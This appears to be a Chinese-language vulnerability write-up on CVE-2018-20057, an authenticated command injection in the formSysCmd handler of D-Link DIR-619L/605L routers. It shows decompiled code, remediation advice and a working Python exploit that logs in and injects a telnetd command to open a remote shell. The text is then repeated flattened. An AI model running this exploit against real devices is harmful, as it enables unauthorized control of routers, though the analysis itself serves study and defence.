路由器漏洞分析系列(3):CVE-2018-20057 DIR-619L&605L命令注入漏洞分析及复现
字数 1035 2025-08-27 12:33:37

CVE-2018-20057 DIR-619L&605L命令注入漏洞分析及复现教学文档

漏洞概述

漏洞编号: CVE-2018-20057
影响设备: D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备
漏洞类型: 认证后命令注入
风险等级: 高危
漏洞位置: /bin/boa文件中的formSysCmd函数

漏洞原理

该漏洞存在于D-LINK路由器的Web管理界面中,具体表现为:

  1. /bin/boa文件的formSysCmd函数存在后门
  2. 攻击者在身份认证后可以通过访问http://[ip]//goform/formSysCmd并指定sysCmd参数
  3. 系统直接执行用户提供的sysCmd参数内容,导致远程命令注入

漏洞分析

反编译代码分析

通过Ghidra反编译/bin/boa文件,关键漏洞代码如下:

void formSysCmd(undefined4 uParm1) {
    undefined4 uVar1;
    char *pcVar2;
    char acStack120[104];
    
    uVar1 = websGetVar(uParm1, "submit-url", &DAT_004ac874);
    // 获取post参数sysCmd,该参数可由用户控制
    pcVar2 = (char *)websGetVar(uParm1, "sysCmd", &DAT_004ac874);
    
    if (*pcVar2 != 0) {
        // 将sysCmd写入栈中,并调用system执行
        snprintf(acStack120, 100, "%s 2>&1 > %s", pcVar2, "/tmp/syscmd.log");
        system(acStack120);
    }
    
    websRedirect(uParm1, uVar1);
    return;
}

关键问题点

  1. 未验证的用户输入:直接从HTTP请求中获取sysCmd参数,未进行任何过滤或验证
  2. 直接系统调用:使用system()函数直接执行用户提供的命令
  3. 日志重定向:命令输出被重定向到/tmp/syscmd.log,但这对安全性没有帮助

漏洞利用

利用条件

  1. 需要先通过身份认证(知道路由器管理用户名和密码)
  2. 能够访问路由器的Web管理界面

利用步骤

  1. 登录路由器管理界面:使用有效的用户名和密码
  2. 发送恶意请求:向/goform/formSysCmd发送POST请求,包含sysCmd参数
  3. 执行任意命令:通过sysCmd参数注入任意系统命令

Python利用代码

import requests
import sys
import struct
import base64
from pwn import *

context(arch='mips', endian='big', log_level='debug')

ip = '192.168.84.129'
port = 101

def login(user, password):
    postData = {
        'login_name': '',
        'curTime': '1234',
        'FILECODE': '',
        'VER_CODE': '',
        'VERIFICATION_CODE': '',
        'login_n': user,
        'login_pass': base64.b64encode(password),
    }
    response = requests.post('http://' + ip + '/goform/formLogin', data=postData)

def syscmd(cmd):
    postData = {
        'sysCmd': cmd,
        'submit-url': '1234',
    }
    response = requests.post('http://' + ip + '/goform/formSysCmd', data=postData)

def inter():
    p = remote(ip, port)
    p.interactive()

if __name__ == "__main__":
    login('admin', '12345')  # 使用实际的路由器用户名和密码
    syscmd('telnetd -p ' + str(port))  # 开启telnet服务
    inter()  # 连接telnet

注意事项

  1. 在QEMU模拟环境中,由于缺少/dev下的pty设备,telnet连接可能无法正常工作
  2. 在实际设备上使用时,需要替换为真实的路由器用户名和密码
  3. 命令执行结果会被重定向到/tmp/syscmd.log

修复建议

  1. 升级到DIR-619L Rev.B 2.06B1或更高版本
  2. 升级到DIR-605L Rev.B 2.12B1或更高版本
  3. 如果无法立即升级,建议:
    • 修改默认管理密码
    • 限制Web管理界面的访问来源
    • 禁用不必要的服务

参考链接

  1. 原始漏洞分析
  2. 固件下载地址: ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/

附录:相关漏洞

CVE-2018-20056:影响相同路由器运行环境的另一个漏洞

CVE-2018-20057 DIR-619L&605L命令注入漏洞分析及复现教学文档 漏洞概述 漏洞编号 : CVE-2018-20057 影响设备 : D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备 漏洞类型 : 认证后命令注入 风险等级 : 高危 漏洞位置 : /bin/boa 文件中的 formSysCmd 函数 漏洞原理 该漏洞存在于D-LINK路由器的Web管理界面中,具体表现为: /bin/boa 文件的 formSysCmd 函数存在后门 攻击者在身份认证后可以通过访问 http://[ip]//goform/formSysCmd 并指定 sysCmd 参数 系统直接执行用户提供的 sysCmd 参数内容,导致远程命令注入 漏洞分析 反编译代码分析 通过Ghidra反编译 /bin/boa 文件,关键漏洞代码如下: 关键问题点 未验证的用户输入 :直接从HTTP请求中获取 sysCmd 参数,未进行任何过滤或验证 直接系统调用 :使用 system() 函数直接执行用户提供的命令 日志重定向 :命令输出被重定向到 /tmp/syscmd.log ,但这对安全性没有帮助 漏洞利用 利用条件 需要先通过身份认证(知道路由器管理用户名和密码) 能够访问路由器的Web管理界面 利用步骤 登录路由器管理界面 :使用有效的用户名和密码 发送恶意请求 :向 /goform/formSysCmd 发送POST请求,包含 sysCmd 参数 执行任意命令 :通过 sysCmd 参数注入任意系统命令 Python利用代码 注意事项 在QEMU模拟环境中,由于缺少 /dev 下的pty设备,telnet连接可能无法正常工作 在实际设备上使用时,需要替换为真实的路由器用户名和密码 命令执行结果会被重定向到 /tmp/syscmd.log 修复建议 升级到DIR-619L Rev.B 2.06B1或更高版本 升级到DIR-605L Rev.B 2.12B1或更高版本 如果无法立即升级,建议: 修改默认管理密码 限制Web管理界面的访问来源 禁用不必要的服务 参考链接 原始漏洞分析 固件下载地址: ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/ 附录:相关漏洞 CVE-2018-20056:影响相同路由器运行环境的另一个漏洞